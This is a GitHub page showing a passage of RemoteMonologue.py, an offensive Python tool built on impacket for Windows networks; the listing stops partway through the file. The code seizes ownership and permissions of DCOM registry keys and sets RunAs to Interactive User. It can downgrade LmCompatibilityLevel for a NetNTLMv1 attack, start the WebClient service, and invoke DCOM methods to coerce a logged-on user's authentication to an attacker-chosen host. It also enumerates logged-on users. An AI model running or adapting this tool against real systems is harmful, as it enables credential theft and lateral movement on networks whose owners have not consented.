forked from 3lp4tr0n/RemoteMonologue
-
Notifications
You must be signed in to change notification settings - Fork 23
Expand file tree
/
Copy pathRemoteMonologue.py
More file actions
1159 lines (904 loc) · 46.9 KB
/
RemoteMonologue.py
File metadata and controls
1159 lines (904 loc) · 46.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/python3
from __future__ import division
from __future__ import print_function
import argparse
import logging
import sys
import time
import random
import string
import os
import struct
import socket
import re
import uuid
import codecs
from impacket import version
from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
VARIANT, VARENUM, DISPATCH_METHOD, DISPATCH_PROPERTYPUT, DISPATCH_PROPERTYPUTREF, DISPID_ARRAY
from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
IRemUnknown2, INTERFACE
from impacket.dcerpc.v5.dtypes import NULL, LONG, MAXIMUM_ALLOWED
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.krb5.keytab import Keytab
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
from impacket import version
from impacket.dcerpc.v5 import transport, rrp, scmr,lsat, lsad
from impacket.dcerpc.v5.ndr import NULL
from impacket.crypto import encryptSecret
from impacket.smbconnection import SMBConnection
from impacket.ntlm import compute_lmhash, compute_nthash
from impacket.smb3structs import *
from impacket.ldap import ldaptypes
from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt
from impacket.system_errors import ERROR_NO_MORE_ITEMS
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import ndr
from impacket.dcerpc.v5.dcom import wmi
text_green = '\033[92m'
text_blue = '\033[36m'
text_yellow = '\033[93m'
text_red = '\033[91m'
text_end = '\033[0m'
class RemoteMonologue:
def __init__(self, username='', password='', domain='', address='', hashes=None, aesKey=None,
doKerberos=False, kdcHost=None, auth_to=None, output='', dcom='', downgrade=False, webclient=False, timeout=5):
self.__username = username
self.__password = password
self.__domain = domain
self.__address = address
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__auth_to = auth_to
self.__output = output
self.__timeout = timeout
self.__dcom = dcom
self.__downgrade = downgrade
self.__webclient = webclient
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def getInterface(self, interface, resp):
# Now let's parse the answer and build an Interface instance
objRefType = OBJREF(b''.join(resp))['flags']
objRef = None
if objRefType == FLAGS_OBJREF_CUSTOM:
objRef = OBJREF_CUSTOM(b''.join(resp))
elif objRefType == FLAGS_OBJREF_HANDLER:
objRef = OBJREF_HANDLER(b''.join(resp))
elif objRefType == FLAGS_OBJREF_STANDARD:
objRef = OBJREF_STANDARD(b''.join(resp))
elif objRefType == FLAGS_OBJREF_EXTENDED:
objRef = OBJREF_EXTENDED(b''.join(resp))
else:
logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
return IRemUnknown2(
INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
target=interface.get_target()))
def checkSMB(self):
# Test conection to port 445 with timeout
try:
sock = socket.create_connection((self.__address, 445), self.__timeout)
except Exception as e:
if str(e).find("timed out") >= 0:
logging.error(f"Failed to connect to port {self.__address}:445")
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[~] Failed to connect to port 445," + self.__address + "\n")
output_file.close()
return False
elif str(e).find("No route to host") >= 0:
logging.error(f"No route to host {self.__address}")
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[~] No route to host," + self.__address + "\n")
output_file.close()
return False
else:
logging.error(f"Unknown error: {e}")
return False
return True
def registry_modifications(self):
ntlmExists = False
ntlmVal = -1
ntlmCreated = False
if (self.__dcom != None):
logging.info(f"Targeting {self.__dcom} COM object")
else:
logging.info("Targeting ServerDataCollectorSet COM object")
if ((self.__dcom != "UpdateSession" or self.__downgrade == True)):
if not self.__webclient:
if not self.checkSMB():
return
smbclient = SMBConnection(self.__address, self.__address)
if options.k is True:
smbclient.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, options.dc_ip )
else:
smbclient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
for attempt in range(3):
try:
string_binding = r'ncacn_np:%s[\pipe\winreg]'
rpc = transport.DCERPCTransportFactory(string_binding)
rpc.set_smb_connection(smbclient)
dce = rpc.get_dce_rpc()
dce.connect()
logging.debug("Connected to RemoteRegistry!")
break
except (Exception) as e:
if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0:
logging.debug("STATUS_PIPE_NOT_AVAILABLE. Retrying in 0.5 seconds...")
time.sleep(0.5)
else:
logging.error("Failed to connect to RemoteRegistry:", e)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[-] Failed to connect to RemoteRegistry," + self.__address + "\n")
output_file.close()
return
dce.bind(rrp.MSRPC_UUID_RRP)
reg_handle = rrp.hOpenLocalMachine(dce)
if (self.__dcom != "UpdateSession"):
if (self.__dcom == "ServerDataCollectorSet" or self.__dcom == None):
registry_path = "SOFTWARE\\Classes\\AppID\\{03837503-098b-11d8-9414-505054503030}"
elif (self.__dcom == "FileSystemImage"):
registry_path = "SOFTWARE\\Classes\\AppID\\{2C941FD1-975B-59BE-A960-9A2A262853A5}"
elif (self.__dcom == "MSTSWebProxy"):
registry_path = "SOFTWARE\\Classes\\AppID\\{C92A9617-0EAE-4235-BD2B-84540EF1FFA9}"
# Open the registry key
key_handle = rrp.hBaseRegOpenKey(
dce,
reg_handle["phKey"],
registry_path,
samDesired=(MAXIMUM_ALLOWED),
)
# Get the OWNER security descriptor
resp = rrp.hBaseRegGetKeySecurity(
dce,
key_handle["phkResult"],
scmr.OWNER_SECURITY_INFORMATION,
)
owner_security_descriptor = b''.join(resp['pRpcSecurityDescriptorOut']['lpSecurityDescriptor'])
# Get the DACL security descriptor
resp = rrp.hBaseRegGetKeySecurity(
dce,
key_handle["phkResult"],
scmr.DACL_SECURITY_INFORMATION,
)
dacl_security_descriptor = b''.join(resp['pRpcSecurityDescriptorOut']['lpSecurityDescriptor'])
rrp.hBaseRegCloseKey(dce, key_handle["phkResult"])
logging.debug(f"Changing OWNER and DACL for {registry_path}")
key_handle = rrp.hBaseRegOpenKey(
dce,
reg_handle["phKey"],
registry_path,
samDesired=(WRITE_OWNER),
)
# Set Owner to Administrators
new_owner = (b'\x01\x00\x00\x80\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
b'\x00\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00'
)
resp = self.hBaseRegSetKeySecurity(
dce,
key_handle["phkResult"],
new_owner,
scmr.OWNER_SECURITY_INFORMATION,
)
# Set Full Control to Administrators
new_dacl = (b'\x01\x00\x04\x94\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
b'\x14\x00\x00\x00\x02\x00\xc4\x00\x06\x00\x00\x00\x00\x02\x28\x00'
b'\x3f\x00\x0f\x00\x01\x06\x00\x00\x00\x00\x00\x05\x50\x00\x00\x00'
b'\xb5\x89\xfb\x38\x19\x84\xc2\xcb\x5c\x6c\x23\x6d\x57\x00\x77\x6e'
b'\xc0\x02\x64\x87\x00\x02\x14\x00\x19\x00\x02\x00\x01\x01\x00\x00'
b'\x00\x00\x00\x05\x12\x00\x00\x00\x00\x02\x18\x00\x3f\x00\x0f\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00'
b'\x00\x02\x18\x00\x19\x00\x02\x00\x01\x02\x00\x00\x00\x00\x00\x05'
b'\x20\x00\x00\x00\x21\x02\x00\x00\x00\x02\x18\x00\x19\x00\x02\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x0f\x02\x00\x00\x00\x01\x00\x00\x00'
b'\x00\x02\x38\x00\x19\x00\x02\x00\x01\x0a\x00\x00\x00\x00\x00\x0f'
b'\x03\x00\x00\x00\x00\x04\x00\x00\xb0\x31\x80\x3f\x6c\xbc\x63\x4c'
b'\x3c\xe0\x50\xd1\x97\x0c\xa1\x62\x0f\x01\xcb\x19\x7e\x7a\xa6\xc0'
b'\xfa\xe6\x97\xf1\x19\xa3\x0c\xce'
)
rrp.hBaseRegCloseKey(dce, key_handle["phkResult"])
key_handle = rrp.hBaseRegOpenKey(
dce,
reg_handle["phKey"],
registry_path,
samDesired=(WRITE_DAC),
)
resp = self.hBaseRegSetKeySecurity(
dce,
key_handle["phkResult"],
new_dacl,
scmr.DACL_SECURITY_INFORMATION,
)
rrp.hBaseRegCloseKey(dce, key_handle["phkResult"])
key_handle = rrp.hBaseRegOpenKey(
dce,
reg_handle["phKey"],
registry_path,
samDesired=(MAXIMUM_ALLOWED),
)
# Add Interactive User value
logging.info("Setting RunAs value to Interactive User")
ans = rrp.hBaseRegSetValue(
dce,
key_handle["phkResult"],
"RunAs",
rrp.REG_SZ,
"Interactive User"
)
if(self.__dcom == "MSTSWebProxy"):
# Change "LaunchPermission" and "AccessPermission" values
LaunchPermission_data = rrp.hBaseRegQueryValue(
dce,
key_handle['phkResult'],
'LaunchPermission'
)
original_LaunchPermission = LaunchPermission_data[1]
new_LaunchPermission = (
b'\x01\x00\x04\x80\x60\x00\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00'
b'\x14\x00\x00\x00\x02\x00\x4c\x00\x03\x00\x00\x00\x00\x00\x14\x00'
b'\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00'
b'\x00\x00\x18\x00\x1f\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05'
b'\x20\x00\x00\x00\x20\x02\x00\x00\x00\x00\x18\x00\x1f\x00\x00\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x2f\x02\x00\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00'
)
AccessPermission_data = rrp.hBaseRegQueryValue(
dce,
key_handle['phkResult'],
'AccessPermission'
)
original_AccessPermission = AccessPermission_data[1]
new_AccessPermission = (
b'\x01\x00\x04\x80\x60\x00\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00'
b'\x14\x00\x00\x00\x02\x00\x4c\x00\x03\x00\x00\x00\x00\x00\x14\x00'
b'\x03\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00'
b'\x00\x00\x18\x00\x07\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05'
b'\x20\x00\x00\x00\x20\x02\x00\x00\x00\x00\x18\x00\x07\x00\x00\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x2f\x02\x00\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00'
)
ans = rrp.hBaseRegSetValue(
dce,
key_handle['phkResult'],
'LaunchPermission',
rrp.REG_BINARY,
new_LaunchPermission
)
ans = rrp.hBaseRegSetValue(
dce,
key_handle['phkResult'],
'AccessPermission',
rrp.REG_BINARY,
new_AccessPermission
)
if(self.__downgrade):
logging.info("Running NetNTLMv1 downgrade attack")
ntlm_key_handle = rrp.hBaseRegOpenKey(
dce,
reg_handle["phKey"],
'SYSTEM\\CurrentControlSet\\Control\\Lsa',
samDesired=MAXIMUM_ALLOWED,
)
try:
ntlm_value = rrp.hBaseRegQueryValue(
dce,
ntlm_key_handle["phkResult"],
'LmCompatibilityLevel'
)
ntlmVal = ntlm_value[1]
if ntlmVal > 2:
logging.debug(f"Changing LmCompatibilityLevel to 2")
ans = rrp.hBaseRegSetValue(
dce,
ntlm_key_handle["phkResult"],
'LmCompatibilityLevel',
rrp.REG_DWORD,
2
)
ntlmExists = True
else:
logging.debug("LmCompatibilityLevel is under 3, no need to change it")
except (Exception) as e:
logging.debug("No LmCompatibilityLevel value discovered. Adding LmCompatibilityLevel to 2")
ans = rrp.hBaseRegSetValue(
dce,
ntlm_key_handle["phkResult"],
'LmCompatibilityLevel',
rrp.REG_DWORD,
2
)
ntlmCreated = True
rrp.hBaseRegCloseKey(dce, ntlm_key_handle["phkResult"])
# Run coercion attack
self.dcom_coerce()
if(self.__downgrade and (ntlmExists or ntlmCreated)):
ntlm_key_handle = rrp.hBaseRegOpenKey(
dce,
reg_handle["phKey"],
'SYSTEM\\CurrentControlSet\\Control\\Lsa',
samDesired=MAXIMUM_ALLOWED,
)
if(ntlmExists and ntlmVal >= 0):
logging.debug(f"Reverting LmCompatibilityLevel back to {ntlmVal}")
ans = rrp.hBaseRegSetValue(
dce,
ntlm_key_handle["phkResult"],
'LmCompatibilityLevel',
rrp.REG_DWORD,
ntlmVal
)
elif (ntlmCreated):
logging.debug("Deleting LmCompatibilityLevel to revert back to its original configuration")
ans = rrp.hBaseRegDeleteValue(
dce,
ntlm_key_handle["phkResult"],
'LmCompatibilityLevel',
)
rrp.hBaseRegCloseKey(dce, ntlm_key_handle["phkResult"])
if (self.__dcom != "UpdateSession"):
# Delete RunAs key
logging.debug("Removing RunAs value")
ans = rrp.hBaseRegDeleteValue(
dce,
key_handle["phkResult"],
'RunAs',
)
if(self.__dcom == "MSTSWebProxy"):
# Reset "LaunchPermission" and "AccessPermission"
ans = rrp.hBaseRegSetValue(
dce,
key_handle['phkResult'],
'LaunchPermission',
rrp.REG_BINARY,
original_LaunchPermission
)
ans = rrp.hBaseRegSetValue(
dce,
key_handle['phkResult'],
'AccessPermission',
rrp.REG_BINARY,
original_AccessPermission
)
rrp.hBaseRegCloseKey(dce, key_handle["phkResult"])
logging.debug("Reverting OWNER and DACL registry permissions")
key_handle = rrp.hBaseRegOpenKey(
dce,
reg_handle["phKey"],
registry_path,
samDesired=(WRITE_OWNER | WRITE_DAC),
)
# Reset the DACL security descriptor
resp = self.hBaseRegSetKeySecurity(
dce,
key_handle["phkResult"],
dacl_security_descriptor,
scmr.DACL_SECURITY_INFORMATION,
)
# Reset the OWNER security descriptor
resp = self.hBaseRegSetKeySecurity(
dce,
key_handle["phkResult"],
owner_security_descriptor,
scmr.OWNER_SECURITY_INFORMATION,
)
rrp.hBaseRegCloseKey(dce, key_handle["phkResult"])
rrp.hBaseRegCloseKey(dce, reg_handle["phKey"])
dce.disconnect()
def hBaseRegSetKeySecurity(self, dce, hKey, pRpcSecurityDescriptor, securityInformation = scmr.OWNER_SECURITY_INFORMATION):
# Thank you @skelsec
#class BYTE_ARRAY(NDRUniConformantVaryingArray):
# pass
#
#class PBYTE_ARRAY(NDRPOINTER):
# referent = (
# ('Data', BYTE_ARRAY),
# )
#
#class RPC_SECURITY_DESCRIPTOR(NDRSTRUCT):
# structure = (
# ('lpSecurityDescriptor',PBYTE_ARRAY),
# ('cbInSecurityDescriptor',DWORD),
# ('cbOutSecurityDescriptor',DWORD),
# )
#constuct the request
secdesc = rrp.RPC_SECURITY_DESCRIPTOR()
secdesc['lpSecurityDescriptor'] = pRpcSecurityDescriptor
secdesc['cbInSecurityDescriptor'] = len(pRpcSecurityDescriptor)
secdesc['cbOutSecurityDescriptor'] = len(pRpcSecurityDescriptor)
request = rrp.BaseRegSetKeySecurity()
request['hKey'] = hKey
request['SecurityInformation'] = securityInformation
request['pRpcSecurityDescriptor'] = secdesc
return dce.request(request)
def enableWebclient(self):
if not self.checkSMB():
return
stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % self.__address
logging.debug('StringBinding %s'%stringbinding)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.setRemoteHost(self.__address)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(scmr.MSRPC_UUID_SCMR)
rpc = dce
ans = scmr.hROpenSCManagerW(rpc)
scManagerHandle = ans['lpScHandle']
try:
ans = scmr.hROpenServiceW(rpc, scManagerHandle, "WebClient"+'\x00')
serviceHandle = ans['lpServiceHandle']
except Exception as e:
logging.error(f"WebClient service not accessible on {self.__address}")
return
logging.info(f"Querying status for WebClient on {self.__address}")
resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)
state = resp['lpServiceStatus']['dwCurrentState']
if state == scmr.SERVICE_CONTINUE_PENDING:
logging.info("WebClient status: CONTINUE PENDING")
elif state == scmr.SERVICE_PAUSE_PENDING:
logging.info("WebClient status: PAUSE PENDING")
elif state == scmr.SERVICE_PAUSED:
logging.info("WebClient status: PAUSED")
elif state == scmr.SERVICE_RUNNING:
logging.info("WebClient status: RUNNING")
elif state == scmr.SERVICE_START_PENDING:
logging.info("WebClient status: START PENDING")
elif state == scmr.SERVICE_STOP_PENDING:
logging.info("WebClient status: STOP PENDING")
elif state == scmr.SERVICE_STOPPED:
logging.info("WebClient status: STOPPED")
else:
logging.info("WebClient status: UNKNOWN. WebClient might not be installed on target system!")
if state == scmr.SERVICE_RUNNING:
if (self.__dcom == "UpdateSession"):
logging.info("Targeting UpdateSession COM object")
self.dcom_coerce()
else:
self.registry_modifications()
elif state == scmr.SERVICE_STOPPED:
logging.info("Starting WebClient service. Waiting 5 seconds...")
scmr.hRStartServiceW(rpc, serviceHandle)
time.sleep(5)
if (self.__dcom == "UpdateSession"):
logging.info("Targeting UpdateSession COM object")
self.dcom_coerce()
else:
self.registry_modifications()
logging.info("Stopping WebClient service")
scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
else:
logging.error("WebClient can't be started. Try again with -downgrade instead.")
scmr.hRCloseServiceHandle(rpc, scManagerHandle)
dce.disconnect()
return
def run_query(self):
dcom = DCOMConnection(self.__address, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
descriptor, _ = iWbemServices.GetObject('StdRegProv')
retVal = descriptor.EnumKey(2147483651,'\x00')
descriptor.RemRelease()
iWbemServices.RemRelease()
dcom.disconnect()
sidRegex = "^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$"
index = 0
users = list()
while True:
try:
res = re.match(sidRegex, retVal.sNames[index])
if res:
users.append(retVal.sNames[index])
index += 1
except:
break
smbclient = SMBConnection(self.__address, self.__address)
if options.k is True:
smbclient.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, options.dc_ip )
else:
smbclient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
lsaRpcBinding = r'ncacn_np:%s[\pipe\lsarpc]'
rpc = transport.DCERPCTransportFactory(lsaRpcBinding)
rpc.set_smb_connection(smbclient)
dce = rpc.get_dce_rpc()
dce.connect()
dce.bind(lsat.MSRPC_UUID_LSAT)
resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
try:
resp = lsat.hLsarLookupSids(dce, policyHandle, users,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
except DCERPCException as e:
if str(e).find('STATUS_NONE_MAPPED') >= 0:
pass
elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
resp = e.get_packet()
else:
raise
if resp['TranslatedNames']['Names'] == []:
logging.error("No one is currently logged in")
else:
logging.info(f"Potential users logged on {self.__address}:")
for item in resp['TranslatedNames']['Names']:
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
logging.info(f" {resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name']}\\{item['Name']}")
dce.disconnect()
def run(self):
if self.__webclient:
self.enableWebclient()
return
if (self.__dcom == "UpdateSession" and self.__downgrade):
self.registry_modifications()
elif (self.__dcom == "UpdateSession"):
logging.info("Targeting UpdateSession COM object")
self.dcom_coerce()
else:
self.registry_modifications()
def dcom_coerce(self):
global text_green, text_blue, text_yellow, text_red, text_end
# Initiate DCOM connection
try:
# Timeout checker
stringBinding = r'ncacn_ip_tcp:%s[135]' % self.__address
transport = DCERPCTransportFactory(stringBinding)
transport.set_connect_timeout(self.__timeout)
dce = transport.get_dce_rpc()
dce.connect()
try:
dcom = DCOMConnection(self.__address, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
if (self.__dcom == "UpdateSession"):
# UpdateSession CLSID for SYSTEM authentication
iInterface = dcom.CoCreateInstanceEx(string_to_bin('4CB43D7F-7EEE-4906-8698-60DA1C38F2FE'), IID_IDispatch)
iUpdateSession = IDispatch(iInterface)
CreateUpdateServiceManager = iUpdateSession.GetIDsOfNames(('CreateUpdateServiceManager',))[0]
hCreateUpdateServiceManager = iUpdateSession.Invoke(CreateUpdateServiceManager, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
iCreateUpdateServiceManager = IDispatch(self.getInterface(iUpdateSession, hCreateUpdateServiceManager['pVarResult']['_varUnion']['pdispVal']['abData']))
pAddScanPackageService = iCreateUpdateServiceManager.GetIDsOfNames(('AddScanPackageService',)) [0]
AuthenticationCoercer((iCreateUpdateServiceManager, pAddScanPackageService), self.__auth_to, self.__dcom)
elif (self.__dcom == "ServerDataCollectorSet" or self.__dcom == None):
# DataManager CLSID for Interactive User authentication
iInterface = dcom.CoCreateInstanceEx(string_to_bin('03837546-098b-11d8-9414-505054503030'), IID_IDispatch)
iServerDataCollectorSet = IDispatch(iInterface)
resp = iServerDataCollectorSet.GetIDsOfNames(('datamanager',))[0]
resp = iServerDataCollectorSet.Invoke(resp, 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iDataManager = IDispatch(self.getInterface(iServerDataCollectorSet, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExtract = iDataManager.GetIDsOfNames(('extract',))[0]
AuthenticationCoercer((iDataManager, pExtract), self.__auth_to, self.__dcom)
elif (self.__dcom == "FileSystemImage"):
# FileSystemImage CLSID for Interactive User authentication
iInterface = dcom.CoCreateInstanceEx(string_to_bin('2C941FC5-975B-59BE-A960-9A2A262853A5'), IID_IDispatch)
iFileSystemImage = IDispatch(iInterface)
pWorkingdirectory = iFileSystemImage.GetIDsOfNames(('workingdirectory',))[0]
AuthenticationCoercer((iFileSystemImage, pWorkingdirectory), self.__auth_to, self.__dcom)
elif (self.__dcom == "MSTSWebProxy"):
# MSTSWebProxy CLSID for Interactive User authentication
iInterface = dcom.CoCreateInstanceEx(string_to_bin('B43A0C1E-B63F-4691-B68F-CD807A45DA01'), IID_IDispatch)
iMSTSWebProxy = IDispatch(iInterface)
pStartRemoteDesktop = iMSTSWebProxy.GetIDsOfNames(('StartRemoteDesktop',))[0]
AuthenticationCoercer((iMSTSWebProxy, pStartRemoteDesktop), self.__auth_to, self.__dcom)
print(text_green + "[+] Coerced SMB authentication! %+35s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[+] Forced SMB authentication for Interactive User," + self.__address + "\n")
output_file.close()
dcom.disconnect()
except (Exception) as e:
if str(e).find("OAUT SessionError: unknown error code: 0x0") >= 0:
logging.debug("Got exepcted 0x0 SessionError")
print(text_green + "[+] Coerced SMB authentication! %+35s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[+] Forced SMB authentication for Interactive User," + self.__address + "\n")
output_file.close()
elif str(e).find("DCOM SessionError: code: 0x8000401a - CO_E_RUNAS_LOGON_FAILURE") >= 0:
logging.debug("Got RUNAS_LOGON_FAILURE")
print(text_blue + "[~] Local admin but no Interactive User %+47s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[~] Local admin but no Interactive User," + self.__address + "\n")
output_file.close()
elif str(e).find("access_denied") >= 0:
logging.debug("Got ACCESS_DENIED")
print(text_red + "[-] Access denied %+69s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[-] Access denied," + self.__address + "\n")
output_file.close()
elif str(e).find("REGDB_E_CLASSNOTREG") >= 0:
logging.debug("Got REGDB_E_CLASSNOTREG")
print(text_blue + "[~] Local admin but DCOM class not registered %+41s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[~] DCOM class not registered," + self.__address + "\n")
output_file.close()
else:
logging.error(str(e))
dcom.disconnect()
sys.stdout.flush()
except KeyboardInterrupt:
sys.exit(0)
dce.disconnect()
